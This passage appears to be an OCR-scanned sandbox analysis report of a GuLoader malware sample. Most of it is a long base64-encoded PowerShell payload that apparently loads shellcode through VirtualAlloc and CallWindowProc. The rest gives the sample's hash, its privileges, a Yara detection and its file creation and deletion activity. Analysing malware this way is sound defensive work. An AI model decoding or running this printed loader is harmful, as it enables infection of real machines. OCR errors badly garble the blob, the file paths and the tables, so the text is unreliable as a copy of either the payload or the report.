ACAAYWBOAGEAbgBOAGEAbgBOACAAYgBVAGA4AZABIAHMAJABhACAAQYBIAEWARGBSAEEARWBUAEUAUGAgAFMASQBEAEgARQBQAFIA
RQAgAADACGAJAFMAawBpAGQAZQBUAHQAIABhAGEAbgBKAGUACgBMAGKAY QB1ACAAVABhAGWADAB3AG8AbWALACAAdgBpAGAAbWBS
AGBAZWBpAHMAJAAgAEWATWBZAEEATABFACAAVYBhAGWAZQBYAGKANAAGAGWAY QB2AGKAbgAJAEIAY QBhAHIAOQAGAGYAbWBYAHYA
ZQBUAHQAZQBSACAATYBVAGAAYWBVAGAAdgAgAAOACIAJAFAARQBSAFMATWBOAE4AQQBWACAAaQBKAGUADQBWACAACWBOAGEACGBO
ACAAYWBOAGBAeQBhAGKAbgBOAGKAIABSAGBAeABPpAGMAJAAJAEGAZQBzAHQAZQBIAHIAZQAXACAARGBVAGUADABIAGIAY QBSACAATQBVAGKACW
AgAEWAYQBSAGWAZQBOACAATWBIAGUAbABpAHMAawAzZACAAZABYAGKAawBrACAATABhAGAAY QBzAHIAIAANAAOAIWBIAGUACWBOAHIAY QBhAGWA
aQBUACAAUWBUAFIATQBQAEUASAAJAFYARQBEAEWAIABNAHKAZQBSAGBAIABEAGKACWBOACAAQQBJAGMAZQBWAHQAMQAgAFUAbgBwW
AGWAMWAGAEEAUgBCAEUASYBEAFMATABTAEJAIABBAG4AbQBIAGWAZABIAGWACWBIACAAUWBLAESAVYBIAFKAVABUAEUAIABWAHIACWBOAGUACW
BrAGEAYgAgAFAAdQBIAGWAaQBJAGKACWA4ACAAVQBIAGKAbgBKAGUADBAAOACAADQAKACMACWBWAGBACgBOAHMADQBhACAARABIAG4AaQBUAGCA
cwBzADQAIABEAGUACABVAHMAaQAXACAACgBIAGCAbgBpAGAAZWBZAGY AdQAGAHMAAQBZAHAAZQAGAEQAZQBIAGEAIABYAGUACQBIAGKACgAgAF
MAYQBsAHQAcWBOAGUAbgBtADEAIABSAEQARQBQAEEATgBHAEKAIAANAACAIWBTAGUAbAB2AGOAbwBKkAHMAaQBNACAAUWBVAEIARAAgAGSAdgBr
AHMAZgBpAG4AZWBIACAAQQBUAG8AbQAgAHQAaABhAGKABABUAGQAZQAGAEBAbgBKAHUAIABUAGB8AbgBWACAAVWBJIAE4ARABCACAA
YQBOAG8AbQB2AGEAYQBIAG4AZQAJAEMAaABPAGUAIABZAHUAY gBjAGgAbwBYAGB8AaQAgAFMAVABVAFAASABFAEYATWBLACAASQBIAGIACgB1AG
UAbQAgAEUAcgBUAHIAaQBUAGCAcWBMAHKAIABEAHIAbwBVAHAACWBIADEAIABWAHIAY QBpAHMAZQBMAHUADBABUACAASQBOAECARQBOACAATWB2
AGUACcgAgAEgAbWBKAHMAIABPAHYAZQBYAGOAYQBIAGWAZQA4ACAAdWBVAGBAZABZACAAAQBYAGUAdABOAHIAbWAGAEWADWBIAGEA
bABrACAADQAKACMAUgBVAE4ARWBMAEUAUWBTAESAIABWAGUAcgBKACAAYWB5AGMAbBABVAGQAIABhAGYAZABrAG4AaQBUAGCAIABI
AHUACWBSACAAQQBOAHQAJQBUAGKAbgBNACAAUWBhAG4AaQBOAGKAcWBpACAAUABOAGBAdABVAHMAIABCAG8ACYBIAHAADABhAHQA
ZgAgAEOAYQBQAGBACgAgAEOAVQBNAEIATABFACAAVWBIAEUARQBMAEKATgAgAEWAZQBIAHAAaQBOAGQACgA2ACAAVQBOAFUAUWBF
AEQAIABNAEEARWBOACAAQQBNAHIAYQBMADEAIABBAGOAY gBIAHIAbgAOACAAQQBUAGQAZQBUAGSAbABhADgAIABKAGEAZWBNAGUA
ZABUACAACWBVAGWAaQBKAGEAJABPAG4AZWAJAEEAbgBNAGKAdgBIACAAQYBSAEUAVIBWACAATQBIAFMAVABBAE4ASWBFAFIAIAANAAOAIWBQAG
EAbABIAGKAYWB0OAHQAaAB5ADYAIABDAGWAbWB3AG4AZQBYAGKAIABOAHIAaQB2AHMAZQBSAHMACAAGAFAAY QBIAGUANgAgAFQAaQBNAGYAdAB3
AGKAIABVAG4AdwBpAGWAOAAJAFAAZQBYAGKANAAGAFAACGBVAG QAdQBrACAARABhAGCAYWBIAG4AdABYACAARWBSAEEATgBVAEWA
QQAgAFMAagB1AHMACWBIAG4AcWBYAGBANQAGAEKAUWBDAEgASQBBAEMAQYBFACAATABIAGUAZgA3ZACAADQAKACMAVABYAGUADQBY
AHUACgBpAG4AdAATIACAAUWBKAFUAUWBLAEUATQBBAEWAIABEAGOAZQBsSAGWAIABNAGKAbABpAHQACcgBSADKAIABHAGWAbwBZAHMA
YQBUACAAUgBFAFYASQBFAFCAUWBEACAAUgBFAEUATABQAEUARABBAE4AVAAgAEgGAdQBzAGgAbwBSAGQAZQAJAEEATABJAEUATYBB
ACAARABVAGIAYgBIAGWAJABMAHUAbgAgAFQAZQBhAHQAIABIAGKAbgBKAGUACgBIACAAUWBIAHKAZAA3ZACAABQB5AGCAZWBIAHMAIABMAHKADg
BSAGEAYQBzAGgAIABQAGEAYQBOAHIAIABGAGEAY gByAGkAawBzADKAIAANAACAIWBQAEEAQQBUAEUARWBOAEUAUgAJAEQAZQBOAG
EAbABJAGUACgBIAHIAIABOAGKAZWBNAGUACcgBzAGSAZQAGAEYAaQBSAGUACWAGAHIAZQBOAHMAbwBWAGCACgAgAFAATABVAFIAIABKAHUAZWBI
AGA4AZABtAG4AcWBOACAAVQBKAGIAdQALIACAASABIAGEAdgB5AGYAIABIAGKAbABPACAADQBIAGWAbWBKACAAY QBMAGWAY QBKAG4AaQBUACAADQ
AKACMAYQBmMAHQAdJgAgAGEAY QBUAGQAZQB2AGUAIABIAHIAbwBKAHKAY QBNAGEACWAgAHQAZQBSAGUAbwBJAGUAcgBhAHMAIABPAE
MAVABBAFYATWBLACAAWgBhAHIAegB1IADMAIABIJAE4ARABTACAAVABXAEKAUWBDACAAUWBLAEBAVgBTAEWATWAgAFQAbWB3AG4ADA
BhAG4AZABSAHKAIAANAAOAIWBQAFIASQBTACAARWBYAHUACWB2AGUAagBIADKAIABVAG4AbQBhAHIAYgBSAGUAaQB6ACAAQQBMAESATWBIAESA
TAAgGAEQARQBWAEKAQQBUAEKATWBOACAASABVAGOAY QBOAGBAIABDAHIAZQBhAHQAaQAgAFMAJABVAGIACWBIADCAIABhAGAAZgBSs
AGO0AZQBUACAARgBVAHIAZQBOAGEAZWBIAG4AIABQAHIAbwBOACAAVQBQAEWARQBBAFAARQBEACAAZABPAGOACABSAGUADQBIACAAZWBIAHIAJA
BOAGEACWBOAGEAIABTAFQATWBSAESARQBOAEIAQYAJAAOACYAJAEEACWBZAHUACYGBhAGIADAAGAEOAZQBOAGEAZGBVAHIAZQBYAGAAIABIAEQGA
VQBLAESATQBQACAAWABS5AGWAbWBJADgAIABTAHQAY QBUAGQAY QBYACAASABhAGA4AZABSAGKAbgBNAHMADAAGAFAAZQB3AGYAIQBs
AGIAbABVADIAIABNAGKACWBOAGAAMWAGAEBAWQBTAFQARQBSACAARABIAHQAY QBpAGWACABYACAACYBIAGY AbwByACAAUgBJAECAUWBSAEUAVY
BJACAAYWBSAGBAZgBpAGIAIABLAE4AASQBDACAAQYBYAGAAZQBsAG8AawBrACAARABIAGOAbWBUAHQAZQBYADgAIABOAGEACgB2ACAACWBSAGCA
ZQBYAHMAJAAgAFUATgBEAEUAUgAJAAOACIAJAFMAY QBUAHMAZQB2AGUAOQAGAEKACYBYAGUACWBWACAAQYBJIAFIAQWBIAEUAIABN
AGUAZWBhACAARABhAGCAbABUAHMACWBhADIAIABLAFKAUWBUACAAUWBOAGBAbBQBhAHQAbWBSAGBAIABBAHQAJABSACAACYBIAHQA
aQBUAGUAcwWBzACAACABpAGMAYQBtAGEACJAGAGWAY QBJAGMAaQBJAGYAZQAJAEIAWQBHAECARQBNAFKATgAgAGCACGBPAGOAYQBz
ACAAaQBUAHQACgB1ACAAbQBhAHIACQAGAGOAY QBYAGQAbWBUAGAAIABJAGgAbWBSAGBACWAJAEOATWBSAEIASQAGAFMAQQBWAEEA
RWBFAFMAUWAQAFIASQBEAEUASABFAFMAVABFAFMAIABTAHQAZQBtAGOAZQBYAGUAdABzADUAIABYAGUAdgBpACAAQgBhAHMAdABpP
AGWADAA4ACAAQYBIAGQAYQAgAFMAQWBVAFIAUgBJAEUAIABVAEOARQBEAECAUgAgAESAeQBSAGKAbgAgAHUAbgBMAGKAIABZAGWAaQBWACAAUA
BSAEUASABFAE4AUWAgGAAOACYAJAEEAbgBKAGUAbgBrAGWAY QBzAHMAIABKAGUAbQBhACAAUWBDAEKATABMAEEARQBSACAAYgBsSAH
IAZQBOAGEAIABSAG8AbgBpAG4AZWAAACAAQWBVAEUATQBBAE4AUWBIAEKAIABLAGEACWBIAHIAbgAgAFIAdQBMAGCAY QBYAGQAaQBUACAACABY
AGEAbgBnAGUAbgAgAFUAUWBQAEUAQWBJAEYASQAgAFMAdQBIAGWAaQBtACAASWBFAFIATgBFAESBAUAAJAEEACYBPAGQAIABIAHIAbgBIAGYAZA
AgAAOACOAJAESAYQBMAGYAZQBNACAAQYBVAG8AbgBKAGBAZWBNAGWAZQAJAE4AAbwBZAHQAIABSAGKAZgBSAGUAJABOAGBACgA3SACAAUWBVAFIA
RWBFAEWARQBTAFMAIABJAGQACcgBOAHMAaABGAHMAawAyACAACgBIAHMAZQBYAHYAY QBOAGKAbWAgAGsAaQBzAHMAZQAgAGCAYQBS
AGWAJQBzAHMAaQBOACAAY QBOAGBAbQBhAGYAZgBhAGWAZAAJAFIAQQBHAEUATWBVAFMAIABCAHUAJABPAGSACWBKAHIAaQAgAGBA
CABKAGEAdABIACAASABVAHIAbgBIAHIAAQAOACAAQWBVAG4ACWBhAGAANWAJAEOATABLAEUASWAGAEKAbWBKAGKAZABWAGGAaQBSADYAIABIAG
QAZQBhAGWAaQBzAGOAZQAOACAARGBSAGEAZWBIACAASQBUAHYAbwBSAHYAZQBYAHMANAAgAHUADABUAGEAYQBUAGKAIABSAGSAZQ
BUAHUAbgAgAGWAaQBtAGUADABPACAAYQBhAHIACgBPACAADQBhAGQAZABVAHYAJQBKAHYAIABIAGUAbABOAGUACWBOAGUAbgBhACAAUABVAHMA
dAB1AGWAZQBYADEAIABCAGUAegBIAGWACWBJACAAQYBSAGKAbgAgAAOACYIAJAEMAY QBzZAHQAZQBYADYAIAB2AGEAbgBKACAAYWBOAGEAZQBUAG
8AIABTAHEAdQBhAHQAJAA1IACAASABIAECASABMACAAQWBVAGAAYWBOAGEAZQAGAFAAY QBYAHQAIABEAEUASWBMACAACWB1AGIAcw
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Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

BpAGQAZQAgAHUADGBKAGUAIABMAGEAJQBUAGUACGBhACAACWBWAHIAZQBhACAAUABBAEMASQBGAEKAQWBBACAARGBKAEUATGBEAF
QATABJACAAYWBIAHAAaABhAGWAbWBOAGIAbWAGAFMARQBSAFIAQQBUAEKATWAGAFMAZQBYAGIAaQBZAGSAZQBSADGAIAANAACAIWBGAEWATABF
AFMAQQBOACAAQQBYAGEAZWBVAHIAbgB1AGAAY QAGAGUAbYBZAHIAZQBOAHQAZQBKAGUAIABNAHKAZQBSACAACWB1AHAAZQBYAHMA
ZQB4AGUAIABBAGCAZWBYAGEAdgBIAHIAZQAGAHQAAQBIAGUADABVAGYAIABZAGKAbQBIAGBAbYBIAGUAdgBPACAAUABSAEUATWBQAEUATYBJAE
4AIABZAGOAZQBSAHQAZQAJGAGOAZQBSAGWAEQBMAGKACWBOAGEAIABHAGUACGBYAGEAIABQAGBAaQBOAHIAY QBpAGWAbWAGAAOACIAJAFGAZQBU
AGBAZWBSAGBACWAJAEBAJQBOAGAAIABYAGUAdgBpAHMAbWBYAGYAIABWAEEAQQBCAEUATGBGAEEAIABSAHUADQBZAGSAaQBIAGUA
CgAXACAAQQBOAHQAZQBZAHQAZQASACAASABhAGEADYBKAGIAJYBIAGWACWA4ACAARABIAFAATABPAEOAIABTAEKATABFAE4AQQBM
ACAATWBhAGsAeQBzAGWAagBKADQAIABMAGEAJABIAGAACWAJAGOAZGBNAGCACBLAGAAIABIAGEACGBOAGBAJABIAGSACWBVACAADQAKACMAZQ
BzAHQAbWAQGAFQAY QBSAGOAIABUAHUAY QBYAGUAZWAYACAAQYBSAGBAawBmMAHUAbgBrAHQAaQAXACAARGBVAHIADABhACAAVABYAG
EAbgAXACAAQQBYAGIAZQBIAGQAIABOAGSAbYBJAGBAIABZAGKAZWBOAGUADQBIAGWACWBVACAARWBhAGWAIgBhAGAAaQAGAEY AbwBKAGUACGBM
AGEAIABSAGUACWBIAGMAdAATACAADQAKACMARQBOAGEACABIAGWAY gBIAHQAIABCAGEAYWBIAGYAaQBzAGMAOAAGAEOAWQBMAEQA
UgBFACAATQBhAGWAYWA4ACAAZWBhAGOAbQBPAGMAawB1ACAARQBNAGOAJQBUAHQAJgBhACAASABLAEEAUWAGAFUADbGBpAHIAbWBU
AGKAYWA1ACAAVABPAGWAY gBhAGCAZQBZAGSAIABGAEKAUgBFAESBARWBUAFKAVIAGAFMAJABIAGEAZABPAGUACWBOACAAUGBNAHQA
ZQBUAGQAZQBZADQAIABTAGSAJgBhAGQACIBVAGAAZQAGAEIACIBIAGKACWBSAGEAaWBPACAADQAKACMAVYBJIAFIASWBTAEBATQBIACAARWBIAG
UACgA4ACAATQBBAE4AQWBIAEUAIABBAGMAYWBVAGOADQBVAGQAY QBOACAAUWBIAG0AaQB2AGUACIBOAGKANWAGAEAAQQBIAFYAIA
BMAGSAZWBVAGCAIABTAFAASQBEAFMARWAQGAGCAaWBhAGAAJABSACAAIABIAGCACIBPAGSACWBWAHIAIABJAGIAY QBIACAAUWB5SAHMAAABIAGOA
YgBIADUAIABCAFIATWBOAFOARQBGACAADQAKACMAUgB1AGOACABSAGUADABhAHMAIABEAEEATgBTAEUATQBVAFMARQAGAEOARQBT
AESAUgBSAEGAIABVAE4ARABIJAFMAQWBPAFYARQAGAFQAaQBKAHQAYQBNAGUACYBIAHIAIABUAHKACABVAHMACWBOAGBANWAGAEIAUGBPAESAQQ
BEAEUAUgBTAFIAIABNAHKAbWBZAGBAJAAGAHIAaQBKAGKAYWB1AGWAbWBIACAAQYB1AGCAJAAGAHMADABNAGAAIABIACAAagBVAGWADABPAGUA
ZABhAG4AJAAGAESATQBEAEKAUGBIAECARQBSACAARABIAHQACIBVAGAAaQBZACAARGBNAG QAZAAZACAARABYAGKAaWBIACAASWBS
AEEARWBFAEYAVQBHACAAUABTAEUAVQBEAESBAQQBNAEEAIABTAFKARABEACAAVQBOAEQARQBUAFIASQBNAEUAIABOAGEABQBSAHUA
bgBnAHMAJQAJAGWAZQBVAGAAYQBYAGQAbWB1ACAATWBWAGWACIAJAGCAZQBIAGKADgBhAHQAIABGAHIAJQBNAHQAAAAIACAATQBF
AFQAQQAJGAFYAQQBOAEQATABCACAAVQBOAFQASABPACAABQBPAHMACGBIAGYAZQBYAHIAZQAJAESAaABhAGWANGAGAFMAJQBIAHIA
aQBUAGCAZQAGAHYAZWBOAGKAZWAGAAOACIANAAOADQAKAEEAZABKACOAVABSAHAAZQAGACOAVABSAHAAZQBEAGUAZGBPAGAAaQBO
AGKAbWBUACAAQAAIAAOACYB1AHMAaQBUAGCAIABTAHKACWBOAGUADQA7AAOACEB1AHMAAQBUAGCAIABTAHKACWBOAG UABQAUAFIAdQBUAHQAAQ
BtAGUALgBJAGAAJABIAHIAbWBWAFMAZQBYAHYAaQBJAGUACWA7AAOACIBWAHUAY gBSAGKAYWAGAHMAJABhAHQAAQBACAAYWBSAGEACWBZACAA
YWB0AG8AbgBKAHIAbWBNAGEAMQANAACAEWANAAOAWWBEAGWADABJIAGOACABVAHIAJAAOACIAZWBKAGKAMWAYACIAKQBIAHAAIQBIAGWAaQBJAC
AACWBOAGEAJABPAGMAIABIAHAABIAHIAbgAGAEKAbgBOAFAAdABYACAARQBUAHUADQBGAGBAbgBOAHMAQQACAHMAAABYAGKAbGBNACAAUGB1L
AGMAdABpPAG8AdQASAHUAaQBUAHQAIABNAHUACWBIAGKADABSADCALABPAGAAIAAGAEQAZQBIAGKANWASAGKADGBOACAAYWBOAGSBAbgBKAHIADW
BnAGEAMAASAGKAbgBOACAARGBhAHIAbQBhAGSALABPAGAAJAAGAFEAJQBPAGAACQBIAGUAJGBIACWAaQBUAHQAIABTAEWARWBUACKAOWANAAOA
WWBEAGWADABJAGOACABVAHIAJAAOACIASWBFAFIATgBFAEWAMWAYACIALAAGAEUAbgBOAHIAeQBQAGBAaQBUAHQAPQAIAEMACYBIAGEAdABIAE
YAaQBSAGUAQQAIACKAXQBWAHUAY gBSAGKAYWAJAHMAJABhAHQAaQBJACAAZQBAAHQAZQBYAGAAIABIAGAAJABQAHQACIAGAFYAAQ
BhAGMAKABDAEOAYQByAHMAaABhAGWAQQBZzACJAVQBUAGOAY QBUAGEAZWBIAG QAVABSAHAAZQAUAEWAUABTAHQACGAPAFOACWBOAH
1AaQBUAGCAIABSAHUAYWBOAGKAbWBIACWAJQBPAGAAJAAGAEOAIQBZAGSAaQBSAHKANWASAGKADGBOACAARABIAGIAaQA3ACWAaQBUAHQAIAB]
AGgAbWBUAGQACGBVAGCAYQAWACWAAQBUAHQAIABGAGEACYBIAGEAaWASAGKAbgBOACAAUQB1AGKAbGBXAHUAZQB2AGUALABPAGAA
dAAGAFMATABHAFQAKQA7AAOACYBbAEQADABSAEKADQBWAGSACGBOACYAIgBUAHQAZABSAGWAIGAPAFOACABIAGIADABPAGMAIABZAHQAYQBOAG
KAYWAGAGUAeABOAGUACGBUACAAaQBUAHQAIABOAHQAQQBSAGWAbWBAGEAABIAFY AaQByAHQAJQBhAGWATQBIAGOAbWBYAHKAKABPAGAAJAAY
AGMAaABVAGAAZABYAGBAZWBhADYALABYAGUAZGAJAEKAbGBOADMAMAGAEMADABhAHQAaABYAGEANAASAGKADgBOACAAVGBhAHIAZQBKAGUAaW
BSAGEALABYAGUAZgAgAEKAbgBOADMAMIAGAGMAAABVAGAAZABYAGBAZWBhACWAaQBUAHQAIABPAHUAJABOAGSAIWBSAGKAbGBNADUALABPAGAA
dAAGAGMAAABVAGAAZABYAGBAZWBhADCAKQA7AAOACIBOAEQADABSAEKADQBWAGSACGBOACIAIgBLAEUAUGBOAEUATAAZADIAIGASACAARQBUAH
QACYBSAFAALWBPAGAAJAAIACIAUGBIAGEAZABGAGKADABIACIAKQBIAHAAIQBIAGWAaQBJACAACWBOAGEAJABPAGMAIABIAHGAJABIAHIAbgAY
AGKAbgBOACAAQWBEAEEAQWAOAGKAbgBOACAAVGBhAHIAZQBKAGUAaWBSAGEAMAASAHUAaQBUAHQAIABWAGEACYBIAGQAZQBIAGWA
YQAXACWASQBUAHQAUABOAHIAIABWAGEACGBIAGQAZQBrAGWAYQAYACWACYBIAG YAIABJAGAAdAAZADIAIABWAGEACIBIAGQAZQBIAGWAYQAZAC
WAaQBUAHQAIABWAGEACGBIAGQAZQBrAGWAY QAOACKAOWANAACAWWBEAGWADABIAGOACABVAHIAJAAOACIAVQBTAEUAUGAZADIAIGAPAFOACABL
AGIAbABPAGMAIABZAHQAYQBOAGKAYWAJAGUAeABOAGUACGBUACAASQBUAHQAUABOAHIAIABFAGAAIQBIAFCAaQBUAG QAbWB3AHMAKABJIAGAAIA
BQAHQACGAGAFYAYQBYAGUAZABIAGSADABhADUALABPAGAAJAAGAFYAYQBYAGUAZABIAGSADABhADYAKQA7AAOACIANAACATQANAAOAIGBAAADA
CgAJAFIAZQBIAGSACAAIACAARABSAFQAUGBIAE4ARQBUAEKATGAGAFIAZQBOAHIAZQAOACAAVABIAGUACIBYAGKADAAGAFUACGBZAGSAbWB2AH
MAbQBYACAARQB4AGKADABPAGMAbQBSAHMAJAA2ACAASQBSAGQACWBWAHKAZQBUAGQAZQAGAEIAY QBrAHQAIABNAEUATABJAESAUg
BBACAACWBYAHYAZQBYAGKAIABBAHUAZWB1AHIAZQBYACAADQAKACQAYWBOAGSAbgBKAHIAbWBNAGEAMGAIACIAJABIAGAAdgAGAHQAZQBIAHAA
IgAgACSAIAAIAFWASABIAHQAZQBYAGSAMWAUAGQAY QBOACIADQAKACMACABVAHMAJABWACAATQBVAGAAbWBOAGSAbYBIAHIAZQAGAFMASQBHAE
4ASQBGACAAVABPAGQACWBIAHIAY QAGAEWARQBGAFQASQAJAFIARQBGAESAUGBNAFAATABBAE4AIABLAGWAY QBNADUAIABSAGSAJA
BhAGOAYQBUACAASQBUAGQAaQB2ACAAUGBVAHQAIABIAGYAbgBNAGUAIABUAGUACGBYAGKAJABVAHIAaQAYACAAWABZAEWATWBDAE
8AUABBAFAAIABNAGSAZWB5AGQAZQAJAEOAaQBJAHIADWBIAGUACAAGAADACIAKAGMAAABVAGAAZABYAGEAZWBhADMAPQAWADSADQAKACQAYWBO
AG8AbgBKAHIABWBNAGEAOQAIADEAMAAOADGANQA3ADYAOWANAACAJABIAGGADWBUAGQACIBVAGCAY QA4ADOAWWBIAGADWBUAGQA
cgBVAGCAYQAXAFOAOGAGAE4AJABBAGWADABVAGMAY QBOAGUAVIBPAHIAJABIAGEADABNAGUADQBVAHIAeQAOACOAMQASAFSACGBIAGYAXQAKAG
MAaABVAGAAZABYAGSAZWBhADMALAAWACWAWWBYAGUAZgBJIACQAYWBOAGSAbgBKAHIAbWBNAGEAOQASADEAMgAYADGAOAASADYANA
APAAOACYAJAESAQQBSAFQATWAGAEMAAABPAGWAIABIAHMACABYAGKAJABPAGAACWBOACAAUWBIAFIASQBMAEWASQBOACAAQYBPAFAATABTACAA
QWBYAHKACABOAGSBAIABVAGSACGBSAGKAZWBZAHQAZQAXACAATQBIAGWAbWBOAHIAYQAGAFMAVQBQAFAAUGBFAFMASQBWAEUAIABD
AGgAZQBMACAAUGBVAHMAZQB2AGKADGBIADUAIABCAGKADABIAHIAbWBIAGAACWBWACAAQQBYAGIAZQBGADIAIABJAGAAIABIAHIAYWBhAGOACA
AgAECARQBWAEEATABUAEKAIABSAFUAQWBIAEUAUgBTAFQARQBOACAARABIAFMAUABSACAADQAKACQAYWBOAGSAbGBKAHIADWBNAG
EANAAIAFSAYWB0AGSAbgBKAHIABWBNAGEAMQBJADOAOGBWAGKAYQBIACIAJABJAGGADWBUAGQACGBVAGCAY QAYACWAMIAXADQANW
AOADGAMWA2ADQAOAASADEALAAWACWAMWASADEAMgA4ACWAMAAPAAOACIAIAGQAaQBMAGYAZQBYAGUADIAGAGIAYQB2AGUAIABNAG
8AYgBpAGWAZQBOAHMAZWBYADMAIABhAHIAaWBMAGQAZQBYACAAaQBUAGQAaWAJAESATABPAEQAUGBJAEEATGBFAFIAIABUAEEAUW
BLAEUASWBSAEEAQgBCACAAUWBKAFUAUWBTACAAJWBOAGUAYQBOACAASABSAHAABWBWAGAeQBZACAAQQBMAGIAbWBSAGQACWBOAG
8AJAAZACAAVABOAHKACGBVAGMAbWBSACAAVQBEAFYAVQAGAGIAdQBMAGYAIABWAGSADABSAGUAJABOACAAY gBYAGKACWBIAGUAJABLAGAAdAAY
AFQAWQBFAFQAQWBPAFEAIABDAGSAbQBWAGEAIABBAGYAJABhAGWAZQBWADYAIABZAHQAaQBUAGSAaQAJAECARQBOAE4ARQBNAEIA
TWBSACAAYQBMAHQAZQBYAHAAIABBAGWAAQBXAHUAYQBUADEAIABhAGAAJABPAGOAbWBUAHKAZWAGAEYACGBhAGAAdABZACAAWGBJ
AFQASQAGAE4AQQBHAEWARQBUAECAIABCAEWATWBUACAAQgBIAHMADbGBhAGsAawBIADCAIABVAE4ARABUAEEAIABCAHIAYQBzAGGADABSAGKAZW
AJAAOACYAKAGMAaABVAGAAZABYAGBAZWBhADUAPQAWADSADQAKACMAQQYBVAGWAaQBKAGUACWBZAGWAYQALACAATABBAE4ARABTAF
IAIABQAHIAbWBZACAAVABSAGWAZQBZADgAIABPAGOAaWBSAGEACWBZAGKAZgBpADCAIABQAGUAbGBOAGEAYWBYAGBAbgBrADQAIABIAEUAUABU
AEEAVAAQAFCAYQBrAGUACgAGAHIAZQBNAGKAbWAGAFUAZWBIAHMAawByAGKANWAGAFMADABRAHIANAAGAEY ATWBSAE UATAAGAAOACBOAGMARA
BVAG4AZABYAGBAZWBhADEAXQAGADOAQWBEAEEAQWAOACQAYWBOAGBAbGBKAHIABWBNAGEANAASACQAYWBOAGBAbgBKAHIAbWBNAG
EAMWASADUAOAA3ADYANWASAFSACGBIAGYAXQAKAGMAaABVAGAAZABYAGBAZWBhADUALAAWACKADQAKACMAQYBFAFMASWAGAFMAJA
ByAGUAZQBOAHCAYQBYAGQANWAGAEWAZQBIAHIAIQBKAHMAJABSAHIANGAGAFUADbGBSAGEAbgBNAHUAIAB1AGA4AaWBPAGAAZAAGAEGAQQBLAEOA
IAB3AHIAaQBNAGYAdABYAHKAIABCAGEAZWBNAGEAYQBYAGQAZQBUADIAIABTAHUAY gBjAG8AbgBOAHIAY QA4ACAAZGBSAGEAJgAGAECACGBhAH
YACWBOAGUAZAA3ACAASABPAGCAaABOAGEAJABIAGEAIABTAGYAY QBoACAADQAKAFSAYWBOAG8AbgBKAHIAbWBNAGEAMQBJADOAOGBFAGAAIQBt
AFcAaQBUAGQAbWB3AHMAKAAKAGMAaABVAGAAZABYAGBAZWBhADMALAAGADAAKQANAACADQAKAA==

0x970000

430592 bytes
DBA3E6449E97D4E3DF64527EF7012A10
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
00000010.00000002.763535179.0000000009970000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security
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Reputation: high

File Activities

File Created
File Path Access Attributes
C:\Users\user read data or list ~ device

directory |

synchronize
C:\Users\user\AppData\Roaming read data or list ~ device

directory |

synchronize
C:\Users\user\AppData\Local\Temp\__PSscr read attributes |  device
iptPolicyTest_Is4gwl5e.umh.ps1 synchronize |

generic write
C:\Users\user\AppData\Local\Temp\__PSscr read attributes |  device
iptPolicyTest_ux2laugn.p4m.psm1 synchronize |

generic write
C:\Users\user\Documents\20220510 read data or list  device

directory |
synchronize

C:\Users\user\Documents\20220510\PowerShell_transcr ~ read attributes |  device
ipt.067773.aXKmeF1T.20220510140453.txt synchronize |

generic read |

generic write

C:\Users\user\AppData\Local\Temp\nmk1nqggs read data or list  device
directory |
synchronize

C:\Users\user\AppData\Local\Te read attributes |  device
mp\nmk1nggs\nmk1lnggs.tmp synchronize |
generic write

C:\Users\user\AppData\Local\Te read attributes |  device
mp\nmk1nggs\nmklnggs.0.cs synchronize |

generic read |

generic write

C:\Users\user\AppData\Local\Te read attributes |  device
mp\nmk1nggs\nmk1nggs.dll synchronize |

generic read |

generic write

C:\Users\user\AppData\Local\Te read attributes |  device
mp\nmk1nggs\nmk1lnggs.cmdline synchronize |
generic write

C:\Users\user\AppData\Local\Te read attributes |  device
mp\nmk1nggs\nmklnggs.out synchronize |
generic write

C:\Users\user\AppData\Local\Te read attributes |  device
mp\nmklnggs\nmklnggs.err synchronize |
generic write

File Deleted

File Path
C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_ls4gwl5e.umh.psl
C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_ux2laugn.p4m.psm1
C:\Users\user\AppData\Local\Temp\nmk1nggs\nmklnqgs.err
C:\Users\user\AppData\Local\Temp\nmk1nggs\nmk1nqgs.dll
C:\Users\user\AppData\Local\Temp\nmk1nggs\nmk1nqgs.0.cs

C:\Users\user\AppData\Local\Temp\nmk1nggs\nmklnggs.tmp
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Options Completion

directory file | object name collision
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file | object name collision
synchronous io

non alert | open

for backup ident

| open reparse

point

sequential only |  success or wait
synchronous io

non alert | non

directory file |

open no recall

sequential only | ' success or wait
synchronous io

non alert | non

directory file |

open no recall

directory file | success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

synchronous io  success or wait
non alert | non

directory file |

open no recall

directory file | success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

synchronous io  success or wait
non alert | non

directory file |

open no recall

Completion

success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Count Source Address

1

Count Source Address

6D68CF06

6D68CF06

6B9A1EGO

6B9A1EGO

6BO9ABEFF

6B9A1EGO

6DOEFF3C

6B9A1EGO

6B9A1EGO

6B9A1EGO

6B9A1EGO

6B9A1EGO

6B9A1EGO

6B9ABA95
6B9ABGA95
6B9ABGA95
6B9ABA95
6B9ABGA95
6B9ABGA95

Symbol

unknown

unknown

CreateFileW

CreateFileW

CreateDirect
oryWw

CreateFileW

CreateDirect
oryA

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFilew

Symbol

DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew
DeleteFilew

DeleteFilew
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File Path

C:\Users\user\AppData\Local\Temp\nmk1nggs\nmklnggs.out

C:\Users\user\AppData\Local\Temp\nmk1nggs\nmklnggs.cmdline

File Written

File Path Offset
C:\Users\user\AppData\Local\Te 0
mp\__PSscr

iptPolicyTest_Is4gwl5e.umh.psl
C:\Users\user\AppData\Local\Te 0
mp\__PSscr
iptPolicyTest_ux2laugn.p4m.psm1

unknown 0
unknown &
unknown 12291
unknown 16387
C:\Users\user\AppData\Local\Te 0
mp\nmk1nggs\nmklnggs.0.cs
C:\Users\user\AppData\Local\Te 0

